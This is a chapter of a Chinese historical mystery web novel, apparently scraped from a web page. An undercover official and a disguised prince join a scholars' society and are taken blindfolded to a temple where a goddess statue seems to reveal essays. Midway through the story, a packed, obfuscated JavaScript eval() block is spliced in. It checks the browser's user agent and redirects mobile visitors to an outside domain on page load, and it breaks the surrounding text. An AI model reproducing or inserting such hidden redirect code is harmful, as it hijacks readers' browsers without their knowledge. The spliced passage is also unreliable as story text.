沈文平还真停下脚步了。
他没说话,只转头看着陈茯苓一脸窘迫着急找措辞,却半天憋不出半个字的脸,沈文平的嘴角几不可察地向上扬了扬,又飞快地拉平,恢复了冷淡模样。
沈文平故意冷声道:“你们是怎么发现刘牧死因有异的。”
陈茯苓以为他还在气头上,生怕他不乐意帮忙,连忙小心翼翼地回答:“是马侍郎闻出来的。”
沈文平嗤笑:“真是条狗,嗅觉这么灵敏。”
不知道沈文平与马文才有何过节,但是他的嘴一向如此毒,想来只是全方位攻击罢了,这么看来,沈文平对自己的刻薄,简直如同细雨微风般温柔了,陈茯苓安慰自己道。
没等她胡乱想完,沈文平并不打算如此轻易放过她。
沈文平追问道:“选公主还是太子?”
陈茯苓立马道:“公主。”
“选公主还是绿豆糕?”
“公主。”
“选公主还是我?”
陈茯苓:“......”
沈文平终于忍不住噗嗤一下笑出来,一发不可收拾,笑得可以说得上是人神共愤了。
“?”
陈茯苓合理怀疑自己又被嘲笑了,但她现在有求于沈文平,不便翻脸,于是她默默咽下去了。
沈文平收敛了笑意:“知道了,你先回去准备下,我马上去寻你。”
待陈茯苓走后,户籍司的谢观从门后走了出来,笑着对沈文平道:“小殿下,若非你提前知会,今日陈大人这一查,怕是要露了你的身份。”
沈文平——李作尘,微微颔首:“多谢谢大人替我隐瞒。”
谢观虽年近五十,却依旧能看出年轻时风度翩翩的影子,只可惜这些年为朝政操劳,鬓角早已染霜,比同龄的皇帝看着都要苍老许多。
如若细说起来,李作尘在朝中敬佩的人并不多,他算其中一个,二人亦师亦友。
因此李作尘对他的态度十分温和,谢观语气关切:“小殿下这是铁了心要查周吏的案子?”
李作平“嗯”了声,声音冷了下来:“我不过回了趟幽州,他就这么不明不白死了,我必须要查清楚。”
“当年你二人初时,为一个''题眼''争辩不休,至今未分出胜负,那时我都以为你们会成为最好的朋友。”
谢观叹了口气:“想当初你们二人一同在桃林论道时,他还不知道你是长平,否则说不准还会让殿下......”
“不会的。”李作尘打断他,冷声道,“就算他知道我是皇子,也绝不会来找我帮忙,他就是这样的人,宁折不弯。所以,我绝不相信他是所谓的畏罪自杀。”
谢观愣了愣,随即笑道:“是啊,周吏这辈子,最看重的就是‘清白’二字。”
二人沉默......而陈茯苓这边,并不知道在他走后,还有这么精彩的一段对话。
她回到陈府,翻出一身青杉换上,布料轻飘飘的,穿在身上总觉得空荡荡的,她皱着眉扯了扯衣领,很不习惯。
但晓翠看到时,眼都亮了:“大人好生俊俏,我看就算状元郎也不比不过大人!”
另一个婢女才说:“你懂什么,状元郎大多相貌平平,咱们大人这模样,该是探花郎才对,探花郎要才貌双全,大人正好符合!”
“也对也对。”晓翠连忙附和起来,又说“不对不对。”
“状元郎的听起来更厉害……”
在她们嘴里,那本该是寒窗苦读十余年才能求得的功名,竟像路边的果子般伸手可得,仿佛随口说说就能拿到手。
可作为她们口中“能当状元探花”的当事人,陈茯苓却只觉得脸颊发烫。她默默低下头,目光落在自己方才写的字上,笔锋歪歪扭扭,横不平竖不直,有些笔画甚至连在一起,说一句鬼画符都算客气。
她面无表情举起手上的那副字递给他们:“你们看看,我这字,能当探花还是状元?”
晓翠和另一个婢女立马你看看我,我看那你,权当做听不见,鸟兽状散开了。
陈茯苓无奈叹气,心里暗自发愁:要是同乡会要求现场写策论,她可怎么办?
次日,陈茯苓带着沈文平来到赵振的居舍。
赵振拉开房门,先是一愣,随即笑着道:“陈兄!沈兄!你们怎么来?大驾光临寒舍,有失远迎啊。”
即使陈茯苓和沈文平仅与他一面之缘,竟也将陈茯苓他们记住了。
沈文平说明来意之后,他似乎并不吃惊,只是道:“沈兄的文才我们是有目共睹的,自是十分欢迎,只不过想必二位应是早已知道,我们同乡会的规矩。”
沈文平将手中的早已准备好的策论递了上去,赵振接过后细细翻阅,眼光越来越亮,陈茯苓和沈文平对视一眼,就知道稳了。
接下来几日,陈茯苓和沈文平便混迹与这群失意书生之中,听他们高谈阔论,针砭时弊,偶尔也发牢骚抱怨世道不公。
沈文平才思敏捷,偶尔发言节能切中要害,引得众人侧目,很快就与他们打成了一片。
陈茯苓很羡慕他能自由收放性格,哪怕说话直率得罪人,也能凭才学吸引别人。
陈茯苓默默观察,一言不发,生怕一张嘴就暴露了自己是个草包,心里却一直惦记着寒松会的秘密,不断在人群中探听线索。
可惜,这些书生知道的并不多,唯一可能知晓内情的,似乎只有赵振。更奇怪的是,这些人都是近些日子才相互认识的,彼此间透着生疏。
眼看皇帝定下的十日之约就要到了,寒松会却迟迟不举办正式文会,陈茯苓也微微感到有些焦灼。
沈文平却很镇定:“最迟明日,就会有消息。”
果然,到了当晚,月色被浓云遮蔽,那群书生突然变得格外兴奋,彼此间窃窃私语,眼神里满是期待。陈茯苓心头一动,今日定有不同。
刘振永远是一副笑意吟吟的样子,好似怎么冒犯他都不会生气,自从陈茯苓遇见他那天开始,就没有见他脸上的笑意消失过。
他来到陈茯苓和沈文平面前:“告诉二位兄台一个好消息,二位被选上了,今夜子时,城西见。”
陈茯苓和沈文平对视一眼,心中一定。
果然,赵振特意补充:“这次入选的只有五人,是娘娘亲自‘钦点’的有缘人。”
周围没被选中的书生们顿时露出遗憾之色,纷纷围上来向陈、沈二人道贺,语气里满是羡慕。
夜色浓稠,月光遮蔽。
陈茯苓和沈文平赶到城西,刘振他们早已等候多时,除了刘振,还有两个生面孔,却对这里的环境熟门熟路。
刘振递给他们几人黑色的眼罩,示意他们带上。
“遮住形貌,心诚则灵。”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16484916|185693||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
陈茯苓不想这么快被怀疑,于是俩人乖乖地上了他们准备的马车后将眼罩蒙上。
车厢狭窄,窗户都被钉死了,一片黑暗中,马车缓缓启动,车厢狭窄逼仄,除了车轮滚动的“轱辘”声,其余几人都沉默得可怕,连呼吸都放得极轻,气氛压抑得如同要去参加白事。
沈文平低声道:“故弄玄虚。”
陈茯苓没有说话,随着马车的颠簸晃荡,她试图凭借声音和颠簸感来判断路线,沈文平似乎被挤得是不舒服,长腿动了动。
赵振轻声道:“沈兄,心要静。此乃通往神境之路,需心怀前程,不可窥探,否则机缘尽失,岂不可惜。”
沈文平没有回答,但是陈茯苓不知为何能从他的沉默中感觉到一丝无语,这也是二人一直疑惑地点,他们是怎么给这群书生洗脑得如此深信不疑的。
不知道走了多久,陈茯苓忽而问道一股若有若无的香气在车厢里散开,她用脚轻轻碰了碰沈文平,却没有得到任何回应。
就在这时,“下车吧。”赵振温和的声音响起,身边窸窸窣窣,众人摘下眼罩,被搀扶着下车。
车厢门被拉开,外面的冷风灌了进来,陈茯苓和沈文平二人坠在人群后,虽是子时,露重,沈文平却面色苍白,抱着手臂发颤。
陈茯苓将身上的衣服脱下披在他身上。
“你刚刚睡着了?”
沈文平眼神略带迷惑地看着他,也不说话,似乎完全没有刚才的记忆了。
怪!太怪了,陈茯苓说不上来,只觉得这几人浑身透露着古怪,不仅是沈文平,另外两个书生的状态也不对劲。
面前是一座破败不堪的庙宇,残垣断壁,蛛网密布,唯有正殿一尊彩漆剥落的女子神像前垫着几盏昏黄的油灯。
而先前那两个书生,如同着了魔一般,眼神迷离而沉醉,齐刷刷跪倒在神像前,口中地念念有词着些什么,声音又轻又快。
陈茯苓还没反应过来,身边的沈文平突然向前迈了一步,像是要跟着跪下去。她怕他摔倒,连忙伸手去拉,却被他带着一同跪在了地上。
前面的赵振回头看了他们一眼,陈茯苓连忙将头低下,躲开他的视线。
赵振顿了顿,收回视线,声音低沉沙哑:“文真娘娘,慈悲渡人。尔等怀才不遇,皆因机缘未到。今日诚心祷告,娘娘自会显圣,赐尔等锦绣文章,金榜题名!”
话音刚落,一个书生突然激动地抬起头,声音发颤,激动地说自己长于律诗工整,却苦于策论空泛,难以把握时政要害,恳求娘娘指点迷津。
陈茯苓被他吓一跳,左右来回瞥,这是在做什么?
这是在做什么!
这哪像书生的文会,更像是一场邪教信徒祭祀。
她忽然觉得自己有点被做局戏耍了。
却见赵振面色镇定,手持一盏油灯,凑近那泥塑的神像身躯。昏黄的灯光下,神像那原本空白、斑驳的腹部,竟然渐渐浮现出数行清晰的墨字。
字迹工整,内容赫然是一篇针对当前边境屯田政策的精妙策论开篇,论点清晰,引经据典,直击要害。
正是那书生刚才所求的“题眼”。
“显灵了!娘娘显灵了!”赵振和那几个书生激动得浑身发抖,磕头如捣蒜,狂喜之情溢于言表。
陈茯苓微微瞪大了双眼。
啊?